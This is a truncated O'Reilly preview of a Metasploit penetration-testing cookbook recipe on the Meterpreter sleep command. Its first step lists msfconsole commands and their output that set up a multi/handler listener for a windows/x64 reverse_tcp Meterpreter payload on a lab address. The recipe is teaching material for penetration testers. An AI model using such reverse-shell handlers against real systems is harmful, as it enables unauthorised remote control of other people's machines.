How to do it...

  1. The sleep command does exactly what you would expect; it makes the current Meterpreter session go to sleep for a specified period of time, and wake up again once that time has expired. So, let's put our session to sleep for 10 seconds. Before using the sleep command, we need to set up a handler, which listens for the new Meterpreter connection: 
msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcpPAYLOAD => windows/x64/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.216.5LHOST => 192.168.216.5msf exploit(handler) > run -j[*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.216.5:4444msf exploit(handler) >
  1. Now that we have our ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.